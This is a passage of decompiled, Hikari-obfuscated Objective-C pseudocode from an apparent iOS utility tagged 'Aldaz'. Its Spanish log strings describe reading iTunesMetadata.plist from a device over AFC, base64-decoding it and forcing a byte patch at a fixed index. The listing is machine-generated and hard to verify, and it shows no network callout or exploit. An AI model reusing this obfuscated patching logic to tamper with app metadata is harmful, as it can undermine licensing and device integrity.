case -1227707013:
v16 = !v247;
v4 = -1601305766;
v17 = 1629518841;
goto LABEL_797;
case -1226755031:
v251 = (v249 + (v250 | ~v249) + 1) & 1;
*v257 = 1112413922;
break;
case -1205829651:
*v257 = 1819674814;
break;
}
}
}
else if ( v186 <= -1273446314 )
{
if ( v186 == -1301887632 )
{
v108 = HikariFunctionWrapper_18123(v204, v148);
objc_release(v204);
transformLine(v108);
v109 = objc_msgSend(v108, v149);
objc_msgSend(v232, v150, v109, v217);
*v257 = 9499960;
}
else if ( v186 == -1299011795 )
{
v56 = HikariFunctionWrapper_18103(v233, v238);
v57 = (unsigned __int64)v56 - v199;
if ( v57 >= 0x44 )
v57 = 68;
v58 = objc_msgSend(v233, v152, v199, v57);
v59 = objc_retainAutoreleasedReturnValue(v58);
objc_msgSend(v235, v153, v59);
objc_release(v59);
v165 = v199 + 68;
v60 = objc_msgSend(v233, v238);
v254 = v165 < (unsigned __int64)v60;
v8 = 0;
v4 = 6585935;
v9 = -1299011795;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case -1273446313:
v8 = 1;
v4 = -330237835;
v9 = -338369941;
goto LABEL_788;
case -1262750749:
v3 = 0;
v4 = -1904911710;
v5 = 484288572;
goto LABEL_784;
case -1255336924:
*v257 = 1955545171;
break;
}
}
}
else if ( v186 > -1375454225 )
{
if ( v186 <= -1353625930 )
{
if ( v186 == -1375454224 )
{
objc_msgSend(v229, v142, v211, v183);
*v228 = 4096;
v110 = AFCFileRefRead(v2);
v111 = v110 != 0 || *v228 == 0;
v3 = 0;
v130 = *v228;
v242 = v111;
v4 = 1367585270;
v5 = -1375454224;
goto LABEL_784;
}
if ( v186 == -1368710606 )
{
v13 = 1;
v4 = 1137119723;
v14 = -1404600349;
goto LABEL_780;
}
}
else
{
switch ( v186 )
{
case -1353625929:
objc_release(v216);
*v257 = -397925359;
break;
case -1328860117:
v8 = 0;
v133 = "componentsJoinedByString:";
v4 = -784695875;
goto LABEL_759;
case -1306255585:
objc_release(v203);
v3 = 0;
v4 = -1053909550;
v5 = -1306255585;
goto LABEL_784;
}
}
}
else if ( v186 <= -1439055098 )
{
if ( v186 == -1467382771 )
{
*v257 = 239159223;
}
else if ( v186 == -1453014341 )
{
v239 = v185 == 0;
*v257 = 1772409926;
}
}
else
{
switch ( v186 )
{
case -1439055097:
v252 = HikariFunctionWrapper_18093(v233, v238) == 0;
v16 = 0;
v4 = -1439055097;
v17 = -78197178;
goto LABEL_797;
case -1404600349:
*v257 = 1137119723;
break;
case -1380566658:
asc_100283EB0[1] = v236;
asc_100283EB0[2] = 108;
asc_100283EB0[3] = 100;
asc_100283EB0[4] = 97;
asc_100283EB0[5] = 122;
asc_100283EB0[6] = 93;
asc_100283EB0[7] = 32;
asc_100283EB0[8] = 65;
asc_100283EB0[9] = 112;
asc_100283EB0[10] = 108;
asc_100283EB0[11] = 105;
asc_100283EB0[12] = 99;
asc_100283EB0[13] = 97;
asc_100283EB0[14] = 110;
asc_100283EB0[15] = 100;
asc_100283EB0[16] = 111;
asc_100283EB0[17] = 32;
asc_100283EB0[18] = 112;
asc_100283EB0[19] = 97;
asc_100283EB0[20] = 114;
asc_100283EB0[21] = 99;
asc_100283EB0[22] = 104;
asc_100283EB0[23] = 101;
asc_100283EB0[24] = 115;
asc_100283EB0[25] = 32;
asc_100283EB0[26] = 105;
asc_100283EB0[27] = 79;
asc_100283EB0[28] = 83;
asc_100283EB0[29] = 32;
asc_100283EB0[30] = 37;
asc_100283EB0[31] = 64;
asc_100283EB0[32] = 32;
asc_100283EB0[33] = 40;
asc_100283EB0[34] = 108;
asc_100283EB0[35] = 237;
asc_100283EB0[36] = 110;
asc_100283EB0[37] = 101;
asc_100283EB0[38] = 97;
asc_100283EB0[39] = 115;
asc_100283EB0[40] = 32;
asc_100283EB0[41] = 49;
asc_100283EB0[42] = 49;
asc_100283EB0[43] = 48;
asc_100283EB0[44] = 44;
asc_100283EB0[45] = 49;
asc_100283EB0[46] = 49;
asc_100283EB0[47] = 49;
asc_100283EB0[48] = 44;
asc_100283EB0[49] = 49;
asc_100283EB0[50] = 49;
asc_100283EB0[51] = 51;
asc_100283EB0[52] = 41;
asc_100283EB0[53] = 0;
aE_19[0] = 91;
aE_19[1] = 65;
aE_19[2] = 108;
aE_19[3] = 100;
aE_19[4] = 97;
aE_19[5] = 122;
aE_19[6] = 93;
aE_19[7] = 32;
aE_19[8] = 66;
aE_19[9] = 97;
aE_19[10] = 115;
aE_19[11] = 101;
aE_19[12] = 54;
aE_19[13] = 52;
aE_19[14] = 32;
aE_19[15] = 109;
aE_19[16] = 225;
aE_19[17] = 115;
aE_19[18] = 32;
aE_19[19] = 99;
aE_19[20] = 111;
aE_19[21] = 114;
aE_19[22] = 116;
aE_19[23] = 97;
aE_19[24] = 32;
aE_19[25] = 113;
aE_19[26] = 117;
aE_19[27] = 101;
aE_19[28] = 32;
aE_19[29] = 237;
aE_19[30] = 110;
aE_19[31] = 100;
aE_19[32] = 105;
aE_19[33] = 99;
aE_19[34] = 101;
aE_19[35] = 32;
aE_19[36] = 37;
aE_19[37] = 108;
aE_19[38] = 117;
aE_19[39] = 0;
asc_100283CEE[0] = 81;
asc_100283CEE[1] = 0;
asc_10028255F[0] = 65;
asc_10028255F[1] = 0;
strcpy(asc_100283E10, "[Aldaz] Aplicando transformLine (iOS %@)");
asc_100283C90[0] = 91;
asc_100283C90[1] = 65;
asc_100283C90[2] = 108;
asc_100283C90[3] = 100;
asc_100283C90[4] = 97;
asc_100283C90[5] = 122;
asc_100283C90[6] = 93;
asc_100283C90[7] = 32;
asc_100283C90[8] = 65;
asc_100283C90[9] = 112;
asc_100283C90[10] = 108;
asc_100283C90[11] = 105;
asc_100283C90[12] = 99;
asc_100283C90[13] = 97;
asc_100283C90[14] = 110;
asc_100283C90[15] = 100;
asc_100283C90[16] = 111;
asc_100283C90[17] = 32;
asc_100283C90[18] = 112;
asc_100283C90[19] = 97;
asc_100283C90[20] = 114;
asc_100283C90[21] = 99;
asc_100283C90[22] = 104;
asc_100283C90[23] = 101;
asc_100283C90[24] = 32;
asc_100283C90[25] = 237;
asc_100283C90[26] = 110;
asc_100283C90[27] = 100;
asc_100283C90[28] = 105;
asc_100283C90[29] = 99;
asc_100283C90[30] = 101;
asc_100283C90[31] = 32;
asc_100283C90[32] = 55;
asc_100283C90[33] = 55;
asc_100283C90[34] = 56;
asc_100283C90[35] = 49;
asc_100283C90[36] = 32;
asc_100283C90[37] = 40;
asc_100283C90[38] = 105;
asc_100283C90[39] = 79;
asc_100283C90[40] = 83;
asc_100283C90[41] = 32;
asc_100283C90[42] = 37;
asc_100283C90[43] = 64;
asc_100283C90[44] = 41;
asc_100283C90[45] = 0;
strcpy(asc_100283F90, "[Aldaz] iTunesMetadata.plist descargado en %@");
asc_100283C22[0] = 82;
asc_100283C22[1] = 0;
asc_100283CF6[0] = 105;
asc_100283CF6[1] = 110;
asc_100283CF6[2] = 100;
asc_100283CF6[3] = 101;
asc_100283CF6[4] = 120;
aAA[0] = 91;
aAA[1] = 65;
aAA[2] = 108;
aAA[3] = 100;
aAA[4] = 97;
aAA[5] = 122;
aAA[6] = 93;
aAA[7] = 32;
aAA[8] = 80;
aAA[9] = 97;
aAA[10] = 114;
aAA[11] = 99;
aAA[12] = 104;
aAA[13] = 101;
aAA[14] = 32;
aAA[15] = 102;
aAA[16] = 111;
aAA[17] = 114;
aAA[18] = 122;
aAA[19] = 97;
aAA[20] = 100;
aAA[21] = 111;
aAA[22] = 32;
aAA[23] = 40;
aAA[24] = 237;
aAA[25] = 110;
aAA[26] = 100;
aAA[27] = 105;
aAA[28] = 99;
aAA[29] = 101;
aAA[30] = 32;
aAA[31] = 37;
aAA[32] = 108;
aAA[33] = 117;
aAA[34] = 58;
aAA[35] = 32;
aAA[36] = 39;
aAA[37] = 37;
aAA[38] = 67;
aAA[39] = 39;
aAA[40] = 32;
aAA[41] = 8594;
aAA[42] = 32;
asc_100283CF6[5] = 0;
aAA[43] = 39;
aAA[44] = 82;
aAA[45] = 39;
aAA[46] = 41;
aAA[47] = 0;
strcpy(a4e, "[Aldaz] iOS %@ no requiere parche.");
v13 = 0;
v4 = -273612360;
v14 = 789064653;
goto LABEL_780;
}
}
}
else if ( v186 > -1579136977 )
{
if ( v186 > -1539328586 )
{
if ( v186 <= -1491735265 )
{
if ( v186 == -1539328585 )
{
*v257 = -1962063412;
}
else if ( v186 == -1512234363 )
{
v61 = -2126530227;
if ( v243 )
v61 = 590181479;
*v257 = v61;
v181 = 0;
}
}
else
{
switch ( v186 )
{
case -1491735264:
objc_release(v235);
v8 = 0;
v4 = -1917115106;
v9 = -460430558;
goto LABEL_788;
case -1486702099:
v13 = 0;
v4 = 960229108;
v14 = 1046028317;
goto LABEL_780;
case -1469999503:
*v257 = -718597982;
break;
}
}
}
else if ( v186 <= -1571079638 )
{
if ( v186 == -1579136976 )
{
objc_msgSend(v224, "characterAtIndex:", 7781);
objc_msgSend(v224, "replaceCharactersInRange:withString:", 7781, 1, CFSTR("\xCE\xFF"));
*v257 = 1454526516;
}
else if ( v186 == -1574755778 )
{
objc_release(v134);
objc_release(v193);
v54 = v217 + 1;
v55 = 293047916;
if ( v217 == 70 )
v55 = -241042887;
*v257 = v55;
v174 = v54;
}
}
else
{
switch ( v186 )
{
case -1571079637:
*v257 = 847803215;
break;
case -1562633013:
v120 = v128 != 0 || *v228 == 0;
v8 = 1;
v129 = *v228;
v241 = v120;
v4 = -1562633013;
v9 = -5278118;
goto LABEL_788;
case -1559519810:
v8 = 0;
v4 = 1427258820;
v9 = -942436362;
goto LABEL_788;
}
}
}
else if ( v186 > -1653308345 )
{
if ( v186 <= -1629152974 )
{
if ( v186 == -1653308344 )
{
v183 = v172;
v8 = 0;
v4 = -1375454224;
v9 = -617618746;
goto LABEL_788;
}
if ( v186 == -1645607869 )
{
v3 = v215 == 0;
v4 = -1368710606;
v5 = -1262750749;
goto LABEL_784;
}
}
else
{
switch ( v186 )
{
case -1629152973:
*v257 = 1955545171;
break;
case -1607791812:
v16 = !v256;
v4 = -749327020;
v17 = 319090690;
goto LABEL_797;
case -1601305766:
v146 = "substringWithRange:";
*v257 = -764707190;
break;
}
}
}
else if ( v186 <= -1708424751 )
{
if ( v186 == -1724894175 )
{
*v257 = -310503066;
}
else if ( v186 == -1714899794 )
{
v3 = 0;
v4 = -107707583;
v5 = 1764668473;
goto LABEL_784;
}
}
else
{
switch ( v186 )
{
case -1708424750:
v13 = 1;
v135 = "setObject:forKeyedSubscript:";
v4 = -50909008;
v14 = -298350710;
goto LABEL_780;
case -1687805526:
v13 = 1;
v4 = -621798938;
v14 = -1235907033;
goto LABEL_780;
case -1687167234:
*v257 = -1226755031;
break;
}
}
}
else if ( v186 > -621798939 )
{
if ( v186 > -357845441 )
{
if ( v186 > -298350711 )
{
if ( v186 > -264228600 )
{
if ( v186 <= -241042888 )
{
if ( v186 == -264228599 )
{
HikariFunctionWrapper_18135(v234, v166);
*v257 = -1944573149;
}
else if ( v186 == -257650967 )
{
*v257 = -2058458452;
v176 = 0;
}
}
else
{
switch ( v186 )
{
case -241042887:
v8 = 1;
v4 = 1023333811;
LABEL_759:
v9 = -1328860117;
goto LABEL_788;
case -238061416:
*v257 = 1593258690;
break;
case -237094435:
*v257 = 293047916;
v174 = 30;
break;
}
}
}
else if ( v186 <= -276491169 )
{
if ( v186 == -298350710 )
{
*v257 = -1708424750;
}
else if ( v186 == -278301249 )
{
*v257 = 461671977;
}
}
else
{
switch ( v186 )
{
case -276491168:
v16 = 0;
v4 = 924600903;
v17 = 173626918;
goto LABEL_797;
case -273612360:
asc_100283EB0[1] = v236;
asc_100283EB0[2] = 108;
asc_100283EB0[3] = 100;
asc_100283EB0[4] = 97;
asc_100283EB0[5] = 122;
asc_100283EB0[6] = 93;
asc_100283EB0[7] = 32;
asc_100283EB0[8] = 65;
asc_100283EB0[9] = 112;
asc_100283EB0[10] = 108;
asc_100283EB0[11] = 105;
asc_100283EB0[12] = 99;
asc_100283EB0[13] = 97;
asc_100283EB0[14] = 110;
asc_100283EB0[15] = 100;
asc_100283EB0[16] = 111;
asc_100283EB0[17] = 32;
asc_100283EB0[18] = 112;
asc_100283EB0[19] = 97;
asc_100283EB0[20] = 114;
asc_100283EB0[21] = 99;
asc_100283EB0[22] = 104;
asc_100283EB0[23] = 101;
asc_100283EB0[24] = 115;
asc_100283EB0[25] = 32;
asc_100283EB0[26] = 105;
asc_100283EB0[27] = 79;
asc_100283EB0[28] = 83;
asc_100283EB0[29] = 32;
asc_100283EB0[30] = 37;
asc_100283EB0[31] = 64;
asc_100283EB0[32] = 32;
asc_100283EB0[33] = 40;
asc_100283EB0[34] = 108;
asc_100283EB0[35] = 237;
asc_100283EB0[36] = 110;
asc_100283EB0[37] = 101;
asc_100283EB0[38] = 97;
asc_100283EB0[39] = 115;
asc_100283EB0[40] = 32;
asc_100283EB0[41] = 49;
asc_100283EB0[42] = 49;
asc_100283EB0[43] = 48;
asc_100283EB0[44] = 44;
asc_100283EB0[45] = 49;
asc_100283EB0[46] = 49;
asc_100283EB0[47] = 49;
asc_100283EB0[48] = 44;
asc_100283EB0[49] = 49;
asc_100283EB0[50] = 49;
asc_100283EB0[51] = 51;
asc_100283EB0[52] = 41;
asc_100283EB0[53] = 0;
aE_19[0] = 91;
aE_19[1] = 65;
aE_19[2] = 108;
aE_19[3] = 100;
aE_19[4] = 97;
aE_19[5] = 122;
aE_19[6] = 93;
aE_19[7] = 32;
aE_19[8] = 66;
aE_19[9] = 97;
aE_19[10] = 115;
aE_19[11] = 101;
aE_19[12] = 54;
aE_19[13] = 52;
aE_19[14] = 32;
aE_19[15] = 109;
aE_19[16] = 225;
aE_19[17] = 115;
aE_19[18] = 32;
aE_19[19] = 99;
aE_19[20] = 111;
aE_19[21] = 114;
aE_19[22] = 116;
aE_19[23] = 97;
aE_19[24] = 32;
aE_19[25] = 113;
aE_19[26] = 117;
aE_19[27] = 101;
aE_19[28] = 32;
aE_19[29] = 237;
aE_19[30] = 110;
aE_19[31] = 100;
aE_19[32] = 105;
aE_19[33] = 99;
aE_19[34] = 101;
aE_19[35] = 32;
aE_19[36] = 37;
aE_19[37] = 108;
aE_19[38] = 117;
aE_19[39] = 0;
asc_100283CEE[0] = 81;
asc_100283CEE[1] = 0;
asc_10028255F[0] = 65;
asc_10028255F[1] = 0;
strcpy(asc_100283E10, "[Aldaz] Aplicando transformLine (iOS %@)");
asc_100283C90[0] = 91;
asc_100283C90[1] = 65;
asc_100283C90[2] = 108;
asc_100283C90[3] = 100;
asc_100283C90[4] = 97;
asc_100283C90[5] = 122;
asc_100283C90[6] = 93;
asc_100283C90[7] = 32;
asc_100283C90[8] = 65;
asc_100283C90[9] = 112;
asc_100283C90[10] = 108;
asc_100283C90[11] = 105;
asc_100283C90[12] = 99;
asc_100283C90[13] = 97;
asc_100283C90[14] = 110;
asc_100283C90[15] = 100;
asc_100283C90[16] = 111;
asc_100283C90[17] = 32;
asc_100283C90[18] = 112;
asc_100283C90[19] = 97;
asc_100283C90[20] = 114;
asc_100283C90[21] = 99;
asc_100283C90[22] = 104;
asc_100283C90[23] = 101;
asc_100283C90[24] = 32;
asc_100283C90[25] = 237;
asc_100283C90[26] = 110;
asc_100283C90[27] = 100;
asc_100283C90[28] = 105;
asc_100283C90[29] = 99;
asc_100283C90[30] = 101;
asc_100283C90[31] = 32;
asc_100283C90[32] = 55;
asc_100283C90[33] = 55;
asc_100283C90[34] = 56;
asc_100283C90[35] = 49;
asc_100283C90[36] = 32;
asc_100283C90[37] = 40;
asc_100283C90[38] = 105;
asc_100283C90[39] = 79;
asc_100283C90[40] = 83;
asc_100283C90[41] = 32;
asc_100283C90[42] = 37;
asc_100283C90[43] = 64;
asc_100283C90[44] = 41;
asc_100283C90[45] = 0;
strcpy(asc_100283F90, "[Aldaz] iTunesMetadata.plist descargado en %@");
asc_100283C22[0] = 82;
asc_100283C22[1] = 0;
asc_100283CF6[0] = 105;
asc_100283CF6[1] = 110;
asc_100283CF6[2] = 100;
asc_100283CF6[3] = 101;
asc_100283CF6[4] = 120;
aAA[0] = 91;
aAA[1] = 65;
aAA[2] = 108;
aAA[3] = 100;
aAA[4] = 97;
aAA[5] = 122;
aAA[6] = 93;
aAA[7] = 32;
aAA[8] = 80;
aAA[9] = 97;
aAA[10] = 114;
aAA[11] = 99;
aAA[12] = 104;
aAA[13] = 101;
aAA[14] = 32;
aAA[15] = 102;
aAA[16] = 111;
aAA[17] = 114;
aAA[18] = 122;
aAA[19] = 97;
aAA[20] = 100;
aAA[21] = 111;
aAA[22] = 32;
aAA[23] = 40;
aAA[24] = 237;
aAA[25] = 110;
aAA[26] = 100;
aAA[27] = 105;
aAA[28] = 99;
aAA[29] = 101;
aAA[30] = 32;
aAA[31] = 37;
aAA[32] = 108;
aAA[33] = 117;
aAA[34] = 58;
aAA[35] = 32;
aAA[36] = 39;
aAA[37] = 37;
aAA[38] = 67;
aAA[39] = 39;
aAA[40] = 32;
asc_100283CF6[5] = 0;
aAA[41] = 8594;
aAA[42] = 32;
aAA[43] = 39;
aAA[44] = 82;
aAA[45] = 39;
aAA[46] = 41;
aAA[47] = 0;
strcpy(a4e, "[Aldaz] iOS %@ no requiere parche.");
*v257 = -1380566658;
break;
case -265381881:
v3 = 0;
v4 = -1982786102;
v5 = -265381881;
goto LABEL_784;
}
}
}
else if ( v186 > -316714040 )
{
if ( v186 <= -310503067 )
{
if ( v186 == -316714039 )
{
*v257 = 1488705988;
}
else if ( v186 == -312182806 )
{
v13 = 0;
v4 = 1569902582;
v14 = 1493473646;
goto LABEL_780;
}
}
else
{
switch ( v186 )
{
case -310503066:
v8 = 0;
v4 = 1283433234;
LABEL_730:
v9 = -310503066;
goto LABEL_788;
case -301782116:
v8 = 1;
v4 = -1044629364;
LABEL_733:
v9 = 775116485;
goto LABEL_788;
case -299383773:
*v257 = 788449593;
break;
}
}
}
else if ( v186 <= -337984124 )
{
if ( v186 == -357845440 )
{
v16 = 0;
v4 = -316714039;
v17 = 1488705988;
goto LABEL_797;
}
if ( v186 == -338369941 )
{
NSLog(
CFSTR("ָ햂鶴颇溑暢Ꮩ풄䨜ڈ緯覌妠ꓪ劝阿缏䔝켿嗗䞜砬烳쐍\x8A\xD9\xAB\xCE樢㋠ꁑ\x31\xD8\x3D\xA6\u1AF2䛸┥䪎ᑕ닦葉똏㛊䙯잯ꂚ煵"),
7781,
v210);
v8 = 1;
v4 = -338369941;
v9 = 1190043462;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case -337984123:
*v257 = 1052052126;
break;
case -330237835:
HikariFunctionWrapper_18137(CFSTR("ָ햂鶴颇溑暢Ꮩ풄䨜ڈ緯覌妠ꓪ劝阿缏䔝켿嗗䞜砬烳쐍\x8A\xD9\xAB\xCE樢㋠ꁑ\x31\xD8\x3D\xA6\u1AF2䛸┥䪎ᑕ닦葉똏㛊䙯잯ꂚ煵"));
*v257 = -338369941;
break;
case -324664650:
v215 = objc_msgSend(v137, "initWithBase64EncodedString:options:", v224, 0);
*v257 = -1645607869;
break;
}
}
}
else if ( v186 > -479380607 )
{
if ( v186 > -397925360 )
{
if ( v186 <= -368975658 )
{
if ( v186 == -397925359 )
{
objc_release(v216);
v16 = 0;
v4 = -397925359;
v17 = 1163589079;
goto LABEL_797;
}
if ( v186 == -376164869 )
{
v16 = 0;
v4 = -942436362;
v17 = -1559519810;
goto LABEL_797;
}
}
else
{
switch ( v186 )
{
case -368975657:
v13 = 1;
v4 = -814000460;
v14 = 1692626151;
goto LABEL_780;
case -363680728:
v98 = objc_msgSend(v197, "localizedDescription");
v138 = objc_retainAutoreleasedReturnValue(v98);
NSLog(
CFSTR("y\xE0\x1B\x01f'v\rEa\xF9\xF9.\xEF\x5A\x93\x8C\xBD\xA6\xCD\xEC\xD6\x46B\xBA4\xC1\x0F\xFD\xAEY\x146\xA8~lv\xCC\x6A\xF4\xAB\xA5\x33"),
v138);
v8 = 0;
v4 = 1709965944;
v9 = -363680728;
goto LABEL_788;
case -362896199:
v137 = objc_alloc((Class)&OBJC_CLASS___NSData);
*v257 = -324664650;
break;
}
}
}
else if ( v186 <= -460430559 )
{
if ( v186 == -479380606 )
{
v13 = 0;
v4 = 279397037;
v14 = -1996171494;
goto LABEL_780;
}
if ( v186 == -469694083 )
*v257 = 1819674814;
}
else
{
switch ( v186 )
{
case -460430558:
objc_release(v235);
*v257 = -1491735264;
break;
case -450654398:
v3 = 0;
v4 = 1619077126;
v5 = -2016863975;
goto LABEL_784;
case -417640600:
NSLog(
CFSTR("4E\xDA\xECQ\xAB\r\xD4\xD5n\xE3\x9B\xF6\x9D\x1D\x85\xBF#b\xAE\xA5\x85\xE7\x22\xD6\xB0/|ĥ\x90\xA9#0L"),
v206);
*v257 = -55235706;
break;
}
}
}
else if ( v186 > -604756444 )
{
if ( v186 <= -566351366 )
{
if ( v186 == -604756443 )
{
NSLog(
CFSTR("\xC9\xEF\xFE\x88s\xC3\x49@I\xE3\x22\x841\xFAD\xA9[\xA4\xB8\xFAR\x01=j\xFC\xEF\xE4\xE2\xA6\x00YE\x1A`ֵ\xAA~"),
&byte_1002803F0,
v209);
v13 = 0;
v4 = -604756443;
v14 = -173954348;
goto LABEL_780;
}
if ( v186 == -587883112 )
{
*v228 = 4096;
v128 = HikariFunctionWrapper_18079(v2);
*v257 = 403529325;
}
}
else
{
switch ( v186 )
{
case -566351365:
v13 = 1;
v142 = "appendBytes:length:";
v4 = -1571079637;
v14 = -739535452;
goto LABEL_780;
case -526605660:
v96 = HikariFunctionWrapper_18091(v226, v136);
v233 = objc_retainAutoreleasedReturnValue(v96);
v97 = +[NSMutableArray array](&OBJC_CLASS___NSMutableArray, "array");
v235 = objc_retainAutoreleasedReturnValue(v97);
*v257 = 1883153563;
break;
case -504641386:
v16 = !v239;
v4 = 588328042;
v17 = 655984322;
goto LABEL_797;
}
}
}
else if ( v186 <= -620423625 )
{
if ( v186 == -621798938 )
{
v16 = 0;
v152 = "substringWithRange:";
v4 = -621798938;
v17 = -1895561039;
goto LABEL_797;
}
if ( v186 == -621550086 )
*v257 = -587883112;
}
else
{
switch ( v186 )
{
case -620423624:
v8 = 0;
v4 = -1306255585;
v9 = -1980760412;
goto LABEL_788;
case -617618746:
objc_msgSend(v229, v142, v211, v183);
*v228 = 4096;
HikariFunctionWrapper_18115(v2);
*v257 = -1375454224;
break;
case -615745426:
dword_10029F5CC = 1;
v227 = (__int64 *)(&v127 - 2);
v211 = &v127 - 512;
v228 = (__int64 *)(&v127 - 2);
v127 = &v127 - 2;
v187 = (id *)(&v127 - 2);
v212 = (id *)(&v127 - 4);
v218 = (id *)(&v127 - 4);
v188 = (id *)(&v127 - 2);
v189 = &v127 - 2;
v219 = (id *)(&v127 - 2);
v220 = &v127 - 2;
v221 = &v127 - 2;
v222 = &v127 - 2;
v237 = (void ***)(&v127 - 6);
v190 = (id *)(&v127 - 2);
v10 = NSTemporaryDirectory();
v200 = objc_retainAutoreleasedReturnValue(v10);
*v257 = 908159926;
break;
}
}
}
else if ( v186 > -874647234 )
{
if ( v186 > -749327021 )
{
if ( v186 > -678404947 )
{
if ( v186 <= -647414603 )
{
if ( v186 == -678404946 )
{
*v257 = -712781168;
}
else if ( v186 == -649970442 )
{
*v257 = 367847903;
}
}
else
{
switch ( v186 )
{
case -647414602:
NSLog(
CFSTR("\xC2\x0B \x05\xB6\x93\xC9\x59\x11\xE1\xAB\x3E^a\x8E\xC2\x33\xA7\x96\xF2\x94\x45\xE8\xFF\x9C<ԋ^Rt\xC4\xD7\xE2\x07\xAD\x1Ep!\xDF\xF3"),
v202);
objc_release(v202);
*v257 = 1848778682;
break;
case -630140614:
*v257 = -191161905;
break;
case -624063732:
*v257 = 191273636;
v208 = v230;
break;
}
}
}
else if ( v186 <= -718597983 )
{
if ( v186 == -749327020 )
{
NSLog(
CFSTR("頼ꮝ掃隷壣ᚓ弲䱷\x3F\xDB\xD8\xA9㌧ᠱ㒀⅂吢ຢ廔灯䊯㌵\u0ABB\x94\xDCꞾ鷚蔚駙容渢ꦇ毚佘ᓼ♇ो롣ﻕ饐"),
7781);
*v257 = 1465587037;
}
else if ( v186 == -739535452 )
{
*v257 = -566351365;
}
}
else
{
switch ( v186 )
{
case -718597982:
v16 = 0;
v4 = -718597982;
v17 = -874647233;
goto LABEL_797;
case -712781168:
goto LABEL_586;
case -709400097:
v18 = objc_msgSend(v169, v170);
objc_retainAutoreleasedReturnValue(v18);
*v257 = -2139671940;
break;
}
}
}
else if ( v186 > -800295248 )
{
if ( v186 <= -783001721 )
{
if ( v186 == -800295247 )
{
v73 = objc_msgSend(&OBJC_CLASS___iOSDevice, v214);
objc_retainAutoreleasedReturnValue(v73);
*v257 = 361054268;
}
else if ( v186 == -784695875 )
{
*v257 = -1018037738;
}
}
else
{
switch ( v186 )
{
case -783001720:
*v257 = 1543539211;
break;
case -764707190:
v8 = 1;
v4 = 1389455474;
v9 = -1113538242;
goto LABEL_788;
case -757615616:
objc_msgSend(v234, v168, v215, CFSTR("\xD5\x6E\x10\r\x88\xDA\xD2\x9D~H"));
v13 = 1;
v4 = 2013851049;
LABEL_589:
v14 = -40344548;
goto LABEL_780;
}
}
}
else if ( v186 <= -845017389 )
{
if ( v186 == -874647233 )
{
LABEL_586:
*v257 = -620423624;
}
else if ( v186 == -872359822 )
{
objc_release(v229);
v8 = 0;
v4 = 401391436;
v9 = -1740466394;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case -845017388:
*v257 = -940022121;
break;
case -843396705:
v3 = 0;
v4 = 361054268;
v5 = -800295247;
goto LABEL_784;
case -814000460:
objc_release(v215);
v13 = 1;
v4 = -783001720;
v14 = -814000460;
goto LABEL_780;
}
}
}
else if ( v186 > -1006512370 )
{
if ( v186 > -940022122 )
{
if ( v186 <= -897443142 )
{
if ( v186 == -940022121 )
{
v3 = 0;
v4 = 228669796;
v5 = 1147629251;
goto LABEL_784;
}
if ( v186 == -934392998 )
{
v51 = objc_msgSend(v226, "base64EncodedStringWithOptions:", 0);
v52 = objc_retainAutoreleasedReturnValue(v51);
v53 = +[NSMutableArray array](&OBJC_CLASS___NSMutableArray, "array");
objc_retainAutoreleasedReturnValue(v53);
objc_msgSend(v52, v238);
*v257 = 2139207837;
}
}
else
{
switch ( v186 )
{
case -897443141:
*v220 = CFSTR("\xFE\xD0\xB6\x83j");
v99 = objc_msgSend(&OBJC_CLASS___NSNumber, v231, 13);
v100 = objc_retainAutoreleasedReturnValue(v99);
*v219 = v100;
v220[1] = CFSTR("Xu\xDF\x19O");
v219[1] = CFSTR("\x93Y");
v101 = objc_msgSend(&OBJC_CLASS___NSDictionary, v223, v219, v220, 2);
v102 = objc_retainAutoreleasedReturnValue(v101);
*v158 = v102;
v103 = v218;
v104 = objc_msgSend(&OBJC_CLASS___NSNumber, v231, 111);
v103[2] = objc_retainAutoreleasedReturnValue(v104);
*v222 = CFSTR("\xFE\xD0\xB6\x83j");
v2 = v184;
v105 = HikariFunctionWrapper_18127(&OBJC_CLASS___NSNumber, v231);
v106 = objc_retainAutoreleasedReturnValue(v105);
*v221 = v106;
v222[1] = CFSTR("Xu\xDF\x19O");
*v257 = -882737163;
break;
case -884057202:
v16 = 0;
v4 = 1189257070;
v17 = 179052306;
goto LABEL_797;
case -882737163:
*v220 = CFSTR("\xFE\xD0\xB6\x83j");
v26 = objc_msgSend(&OBJC_CLASS___NSNumber, v231, 13);
v159 = objc_retainAutoreleasedReturnValue(v26);
*v219 = v159;
v220[1] = CFSTR("Xu\xDF\x19O");
v219[1] = CFSTR("\x93Y");
v27 = HikariFunctionWrapper_18095(&OBJC_CLASS___NSDictionary, v223);
v160 = objc_retainAutoreleasedReturnValue(v27);
*v158 = v160;
v28 = v218;
v29 = HikariFunctionWrapper_18097(&OBJC_CLASS___NSNumber, v231);
v161 = objc_retainAutoreleasedReturnValue(v29);
v28[2] = v161;
v162 = v212 + 2;
*v222 = CFSTR("\xFE\xD0\xB6\x83j");
v2 = v184;
v30 = objc_msgSend(&OBJC_CLASS___NSNumber, v231, 13);
v31 = objc_retainAutoreleasedReturnValue(v30);
v3 = 0;
v163 = v31;
*v221 = v31;
v222[1] = CFSTR("Xu\xDF\x19O");
v4 = -2085544314;
v5 = -882737163;
goto LABEL_784;
}
}
}
else if ( v186 <= -986663259 )
{
if ( v186 == -1006512369 )
{
strcpy(asc_100284085, "CacheData");
strcpy(aY_15, "[Aldaz] Error serializando plist final: %@");
byte_1002803F0 = 105;
byte_1002803F1 = 84;
v3 = 0;
byte_1002803F2 = 117;
v240 = -76;
v4 = -278301249;
v5 = -1006512369;
goto LABEL_784;
}
if ( v186 == -995840795 )
{
objc_retain(v201);
v3 = 0;
v244 = v201 == 0 && v234 != 0;
v4 = 843884382;
v5 = -995840795;
goto LABEL_784;
}
}
else
{
switch ( v186 )
{
case -986663258:
*v257 = -1486702099;
break;
case -963657447:
NSLog(CFSTR("닳袹藿荠鏥壙펟ꛜתּ뱵ꪀ曆Ṝᾗ͔컆Ө肘ꥈ왹皻솻㙜덿뚻遺樅蠮嫖ଣℕᚣ땓䲽떼⯅ᣳ餇㇀ظ㣱\x6C\xDA\xCF\xA6㟠"));
*v257 = 788449593;
break;
case -942436362:
*v257 = -1559519810;
break;
}
}
}
else if ( v186 > -1094759909 )
{
if ( v186 <= -1053909551 )
{
if ( v186 == -1094759908 )
{
v3 = 0;
v4 = -48677401;
v5 = 178832644;
goto LABEL_784;
}
if ( v186 == -1057256808 )
{
v13 = 1;
v4 = -995840795;
v14 = -201419402;
goto LABEL_780;
}
}
else
{
switch ( v186 )
{
case -1053909550:
